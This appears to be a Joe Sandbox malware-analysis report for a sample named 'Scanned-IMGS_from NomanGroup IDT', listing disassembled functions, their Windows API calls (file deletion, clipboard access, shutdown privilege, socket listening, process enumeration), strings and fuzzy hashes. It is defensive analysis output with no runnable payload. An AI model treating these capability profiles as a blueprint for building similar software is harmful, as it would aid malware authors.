Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: bc0e12e4bc506031b917bc60dd507191afe94ca3711b947f148b9bb2a5b12ff8
Instruction ID: b1f67eab47be401b424b2b7f473c20a2d37474f0fb22a4fb3a211bdc455b2807
Opcode Fuzzy Hash: bc0e12e4bc506031b917bc60dd507191afe94ca3711b947f148b9bb2a5b12ff8
Instruction Fuzzy Hash: 8931F2365002597ADB10BFA5DC88FDF37ACAF06320F1040ABE814A7191DB79DE858A2C

Function 004C8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 004C8257
SystemTimeToFileTime.KERNEL32(?,?), ref: 004C8267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 004C8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 004C8310
SetCurrentDirectoryW.KERNEL32(?), ref: 004C8324
SetCurrentDirectoryW.KERNEL32(?), ref: 004C8356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 004C838C
SetCurrentDirectoryW.KERNEL32(?), ref: 004C8395

Strings

*.*, xrefs: 004C839B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 4fd44a17f2c10b618b28f81fb897cc6337bf34a4acf5f3deb6db43d4f22587fd
Instruction ID: 24318ae7799a4ef7fe442e119dca1f2e9a672b918253c76d4005aa9f359a05fc
Opcode Fuzzy Hash: 4fd44a17f2c10b618b28f81fb897cc6337bf34a4acf5f3deb6db43d4f22587fd
Instruction Fuzzy Hash: B6616C765043459FC710DF61C884E9FB3E8FF89314F04482EE98987251EB39E945CB9A

Function 004BD076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00453AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00453A97,?,?,00452E7F,?,?,?,00000000), ref: 00453AC2

Part of subcall function 004BE199: GetFileAttributesW.KERNEL32(?,004BCF95), ref: 004BE19A

FindFirstFileW.KERNEL32(?,?), ref: 004BD122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 004BD1DD
MoveFileW.KERNEL32(?,?), ref: 004BD1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 004BD20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 004BD237

Part of subcall function 004BD29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,004BD21C,?,?), ref: 004BD2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 004BD253
FindClose.KERNEL32(00000000), ref: 004BD264

Strings

\*.*, xrefs: 004BD0CD, 004BD0D6, 004BD0EB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 7105d1315b6f9b71f79a15071610cd7a81bcc2035eb7fb4b6682536ec7614e2b
Instruction ID: 3e122dfedb31334ef68147101656a71b0f0b9b09b716c92871cef17196c734df
Opcode Fuzzy Hash: 7105d1315b6f9b71f79a15071610cd7a81bcc2035eb7fb4b6682536ec7614e2b
Instruction Fuzzy Hash: 39618F31C0114DABCF05EBE1C9929EEB7B5AF14349F2445AAE80177192EB385F09CB69

Function 004CED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004CED91
EmptyClipboard.USER32 ref: 004CED97
GlobalAlloc.KERNEL32(00000002,?), ref: 004CEDAC
CloseClipboard.USER32 ref: 004CEEA3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 059725b64950bf021acdca1b536b90dd46f8b684641803bf3f0c54e36c2b2fc3
Instruction ID: d1346c0e0acd8338594eab01eeccdd8b9ba67261ac9c6b35e22311df28789b76
Opcode Fuzzy Hash: 059725b64950bf021acdca1b536b90dd46f8b684641803bf3f0c54e36c2b2fc3
Instruction Fuzzy Hash: 6141AF356046519FD720DF26D888F1ABBA1EF44358F14C0AEE8168F762C739EC42CB98

Function 004BE8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 004B16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 004B170D
Part of subcall function 004B16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 004B173A
Part of subcall function 004B16C3: GetLastError.KERNEL32 ref: 004B174A

ExitWindowsEx.USER32(?,00000000), ref: 004BE932

Strings

@, xrefs: 004BE925
, xrefs: 004BE920
SeShutdownPrivilege, xrefs: 004BE902
, xrefs: 004BE95C

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: a48248148d6e9c16577045fd73f6d6d86b56b81a45c31634856517656fb3deeb
Instruction ID: b4beff9fbbc8cd6841ef76631241402f34a9831dabd9342a5a74fa07c82e3b1b
Opcode Fuzzy Hash: a48248148d6e9c16577045fd73f6d6d86b56b81a45c31634856517656fb3deeb
Instruction Fuzzy Hash: 2101F2B2610210EFEB1826B69CC6BFB729CA744744F140823F812E21E2D5A85C4982BC

Function 004D1204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 004D1276
WSAGetLastError.WSOCK32 ref: 004D1283
bind.WSOCK32(00000000,?,00000010), ref: 004D12BA
WSAGetLastError.WSOCK32 ref: 004D12C5
closesocket.WSOCK32(00000000), ref: 004D12F4
listen.WSOCK32(00000000,00000005), ref: 004D1303
WSAGetLastError.WSOCK32 ref: 004D130D
closesocket.WSOCK32(00000000), ref: 004D133C

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 786129bf9f6506b58d3906e5842413769ab6c311ae6ee4b62470894708045bf1
Instruction ID: a3915bad7cf9833c258eb960c62c1bc0afff38cbc6c6ff8785776dfca34f0dc6
Opcode Fuzzy Hash: 786129bf9f6506b58d3906e5842413769ab6c311ae6ee4b62470894708045bf1
Instruction Fuzzy Hash: 82418F31600140AFD714DF64C5D8A2AB7E5AB46318F18819ADC569F3A3C735EC86CBA5

Function 004BD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00453AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00453A97,?,?,00452E7F,?,?,?,00000000), ref: 00453AC2

Part of subcall function 004BE199: GetFileAttributesW.KERNEL32(?,004BCF95), ref: 004BE19A

FindFirstFileW.KERNEL32(?,?), ref: 004BD420
DeleteFileW.KERNEL32(?,?,?,?), ref: 004BD470
FindNextFileW.KERNEL32(00000000,00000010), ref: 004BD481
FindClose.KERNEL32(00000000), ref: 004BD498
FindClose.KERNEL32(00000000), ref: 004BD4A1

Strings

\*.*, xrefs: 004BD3F2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 8c4fc92259796b046bc49d22e4ec9385a3124887679fb174d80b39d8cbb4ba78
Instruction ID: d5987a9379fa5960cb842f7100376f2716bdd8c533847bdad5d5cb8dcf0319d1
Opcode Fuzzy Hash: 8c4fc92259796b046bc49d22e4ec9385a3124887679fb174d80b39d8cbb4ba78
Instruction Fuzzy Hash: D23170714083859BC300EF65C8918EF77E8AE91355F444E6EF8D153192EB38AA0EC76B

Function 0048E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0048E645

Strings

1#SNAN, xrefs: 0048F844
1#INF, xrefs: 0048F852
1#IND, xrefs: 0048F83D
1#QNAN, xrefs: 0048F84B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d1ba7cd62918483682d09dfabc59e96375a026ddc4cd2884dd434d88e276674c
Instruction ID: 815fb4e7633b8cca60b4f2264874134f13a2b7c65984eb99243734d0433edc06
Opcode Fuzzy Hash: d1ba7cd62918483682d09dfabc59e96375a026ddc4cd2884dd434d88e276674c
Instruction Fuzzy Hash: 56C25971E086288FDB25EE298D407EEB7B5EB49304F1445EBD80DE7241E778AE858F44

Function 004C648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004C64DC
CoInitialize.OLE32(00000000), ref: 004C6639
CoCreateInstance.OLE32(004EFCF8,00000000,00000001,004EFB68,?), ref: 004C6650
CoUninitialize.OLE32 ref: 004C68D4

Strings

.lnk, xrefs: 004C64BA, 004C6524, 004C65E0

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 3618ef24df7f27b3ae591ec9c02dc6785b385368b5678201b266cdc5421f0dec
Instruction ID: 9f877de162f785338e9c69d8b1e00bdd33e72ef4ea7e949d772b20c08f8e3d82
Opcode Fuzzy Hash: 3618ef24df7f27b3ae591ec9c02dc6785b385368b5678201b266cdc5421f0dec
Instruction Fuzzy Hash: 40D15971508201AFC304EF25D881E6BB7E8FF94709F10896EF5958B292DB34ED09CB96

Function 004D22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 004D22E8

Part of subcall function 004CE4EC: GetWindowRect.USER32(?,?), ref: 004CE504

GetDesktopWindow.USER32 ref: 004D2312
GetWindowRect.USER32(00000000), ref: 004D2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 004D2355
GetCursorPos.USER32(?), ref: 004D2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 004D23DF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: a1c4eb75bdb8e2d49fd739a529a799ceaf89dc15c342c243ca8a6f7dddf81cd6
Instruction ID: e6881f73ec7408a9e2c7c14fb214e33c02f5fce132b3aa562c0e36488d0006c8
Opcode Fuzzy Hash: a1c4eb75bdb8e2d49fd739a529a799ceaf89dc15c342c243ca8a6f7dddf81cd6
Instruction Fuzzy Hash: AB310272504355AFC720DF25C884F9BB7A9FF84314F00091EF8849B281DB78EA09CB9A

Function 004C9B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 004C9B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 004C9C8B

Part of subcall function 004C3874: GetInputState.USER32 ref: 004C38CB
Part of subcall function 004C3874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004C3966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 004C9BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 004C9C75

Strings

*.*, xrefs: 004C9B5D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 935404e2a7e6e4db83a18bd99e439a6ca6695b4228184b5f3dd25660738352ed
Instruction ID: 1f058b6455b111dd0a328d3bca25fff00b1735fde9d7dae1869dada64c36e7ce
Opcode Fuzzy Hash: 935404e2a7e6e4db83a18bd99e439a6ca6695b4228184b5f3dd25660738352ed
Instruction Fuzzy Hash: 6B418F7590020AAFDF54DF65C889FEE7BB4FF05305F20405AE805A6292EB349E45CF69

Function 0046997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00469BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00469BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00469A4E
GetSysColor.USER32(0000000F), ref: 00469B23
SetBkColor.GDI32(?,00000000), ref: 00469B36

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: fda0c397a84fd6492c0a41f17c4a0787b58092da558911d99bd325ab6eb0c796
Instruction ID: 1f000331fa9d12f98963a93040c2b4222866c70dc036a97788bb46c7a1893cb8
Opcode Fuzzy Hash: fda0c397a84fd6492c0a41f17c4a0787b58092da558911d99bd325ab6eb0c796
Instruction Fuzzy Hash: A6A117B0108580BEE7349A6D8C88E7B269DEB63314B14011BF502C67D1EABDAD06D67F

Function 004D1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004D304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 004D307A
Part of subcall function 004D304E: _wcslen.LIBCMT ref: 004D309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 004D185D
WSAGetLastError.WSOCK32 ref: 004D1884
bind.WSOCK32(00000000,?,00000010), ref: 004D18DB
WSAGetLastError.WSOCK32 ref: 004D18E6
closesocket.WSOCK32(00000000), ref: 004D1915

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: a6a89a9df82c376a510829b38e5e6464c453593a51c3b0c01c817d5c0798d2b2
Instruction ID: c504b71af215019a84f39de83c8f925bd485388370e650010a5ee8bdae8234e5
Opcode Fuzzy Hash: a6a89a9df82c376a510829b38e5e6464c453593a51c3b0c01c817d5c0798d2b2
Instruction Fuzzy Hash: 96518071A00200AFDB10AF25C896F2A77A5AB44718F44809EFD455F3D3D679AD42CBA5

Function 004E1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 004E1CC0
IsWindowEnabled.USER32 ref: 004E1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 004E1CDB
IsIconic.USER32 ref: 004E1CE9
IsZoomed.USER32 ref: 004E1CF7

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 6424ae258a04788f034aa8de83e32221e61845cf141ed7e5d7fb009088df6048
Instruction ID: 22b387c9d6a35847c6419ecce0f7cafe4c4c2f14fdeda35485754a39762d0f1d
Opcode Fuzzy Hash: 6424ae258a04788f034aa8de83e32221e61845cf141ed7e5d7fb009088df6048
Instruction Fuzzy Hash: 732196317802915FD7208F27D884F677B95EF95316B29806EE845CB362C779EC42CB98

Function 00458060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

VUUU, xrefs: 004583FA
ERCP, xrefs: 0045813C
VUUU, xrefs: 0045843C
VUUU, xrefs: 004583E8
VUUU, xrefs: 00495DF0

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 0d138df9ea90d600622cea0f5711fc1b8bc2b61053358e3e0716eb8144ddef94
Instruction ID: f862c67b88b28e5e8b2c30bdf8d863a75ededd44d48131c20af6706ba047171a
Opcode Fuzzy Hash: 0d138df9ea90d600622cea0f5711fc1b8bc2b61053358e3e0716eb8144ddef94
Instruction Fuzzy Hash: 01A29F70A0021ACBDF24CF58C9407AEBBB1BF54311F2581ABEC15A7385EB389D85CB59

Function 004B8298 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 004B82AA

Strings

(, xrefs: 004B82F0
|, xrefs: 004B82DA
tbQ, xrefs: 004B84F4

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: lstrlen
String ID: ($tbQ$|
API String ID: 1659193697-2774208020
Opcode ID: e3e428cdc79f9cbbb292a1be60ecb85bf0875de275dee68b5e9faa65f1dd7ebf
Instruction ID: c256d3132885fb308cfdea7765ee7ec31ddfd10c2048ae9d2d8133e3238e3272
Opcode Fuzzy Hash: e3e428cdc79f9cbbb292a1be60ecb85bf0875de275dee68b5e9faa65f1dd7ebf
Instruction Fuzzy Hash: 37323674A00605DFCB28CF19C480AAAB7F4FF48710B15C56EE89ADB7A1EB74E941CB54

Function 004DA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 004DA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 004DA6BA

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Process32NextW.KERNEL32(00000000,?), ref: 004DA79C
CloseHandle.KERNEL32(00000000), ref: 004DA7AB

Part of subcall function 0046CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00493303,?), ref: 0046CE8A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 05836322e33b1694136cc2cb4cc2313c0b1af7172a52e00da4977df5c5dcd8c1
